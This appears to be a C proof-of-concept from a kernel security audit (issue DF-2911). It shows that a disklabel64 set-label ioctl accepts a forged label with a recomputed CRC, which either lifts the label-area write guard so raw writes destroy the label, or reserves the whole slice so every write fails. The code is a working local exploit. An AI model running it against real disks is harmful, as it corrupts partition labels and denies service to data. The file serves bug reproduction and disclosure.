DF-2911 / df2911_lab64.c
/* DF-2911: l64_setdisklabel accepts internally inconsistent geometry. * (a) installs a label with d_bbase=0 -> ds_reserved = 0 -> the label-area * EROFS guard (subr_diskslice.c:227) is disabled: raw write at slice * offset 0 succeeds (destroys our own scratch label - file-backed vn). * (b) installs a label with huge d_bbase -> ds_reserved covers the whole * slice -> ALL writes EROFS (self-DoS of the slice). * Control: with the stock label, write at offset 0 -> EROFS. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <sys/ioctl.h> #include <sys/param.h> #include <sys/disklabel64.h> #include <zlib.h> static void fixcrc(struct disklabel64 *d) { size_t n = offsetof(struct disklabel64, d_partitions[d->d_npartitions]) - offsetof(struct disklabel64, d_magic); uint32_t save = d->d_crc; d->d_crc = 0; d->d_crc = (uint32_t)crc32(0, (const Bytef *)&d->d_magic, n); (void)save; } static void show(struct disklabel64 *d, const char *tag) { printf("%s: total=%llu bbase=%llu pbase=%llu pstop=%llu nparts=%u\n", tag, (unsigned long long)d->d_total_size, (unsigned long long)d->d_bbase, (unsigned long long)d->d_pbase, (unsigned long long)d->d_pstop, d->d_npartitions); } static int try_write(const char *dev) { int fd = open(dev, O_RDWR); char b[512]; int n; if (fd < 0) { printf(" open %s: %s\n", dev, strerror(errno)); return -1; } memset(b, 0x5a, sizeof(b)); n = pwrite(fd, b, sizeof(b), 0); printf(" pwrite(%s, off 0) = %d errno=%d (%s)\n", dev, n, errno, n < 0 ? strerror(errno) : "WRITE ACCEPTED BELOW LABEL"); close(fd); return n; } int main(int argc, char **argv) { const char *dev = argc > 1 ? argv[1] : "/dev/vn0s1"; struct disklabel64 d; int fd = open(dev, O_RDWR); if (fd < 0) { perror("open"); return 1; } if (ioctl(fd, DIOCGDINFO64, &d) < 0) { perror("DIOCGDINFO64"); return 1; } show(&d, "stock"); errno = 0; printf("control: write at slice offset 0 with stock label\n"); try_write(dev); /* (a) d_bbase = 0 */ d.d_bbase = 0; fixcrc(&d); if (ioctl(fd, DIOCSDINFO64, &d) < 0) { perror("DIOCSDINFO64 bbase=0"); return 1; } printf("installed label with d_bbase=0 (accepted)\n"); errno = 0; try_write(dev); /* restore from disk (we just trashed it) - re-read may fail; rebuild */ if (ioctl(fd, DIOCGDINFO64, &d) == 0) show(&d, "after-bbase0"); /* (b) huge d_bbase beyond the slice */ if (ioctl(fd, DIOCGDINFO64, &d) < 0) { /* label area got trashed by (a); rebuild from stock values */ perror("re-GINFO after (a) - rebuilding"); return 2; } d.d_bbase = d.d_pstop ? d.d_pstop : d.d_total_size; /* everything reserved */ fixcrc(&d); if (ioctl(fd, DIOCSDINFO64, &d) < 0) { perror("DIOCSDINFO64 huge bbase"); return 1; } printf("installed label with d_bbase=%llu (accepted, unvalidated)\n", (unsigned long long)d.d_bbase); errno = 0; try_write(dev); close(fd); return 0; } |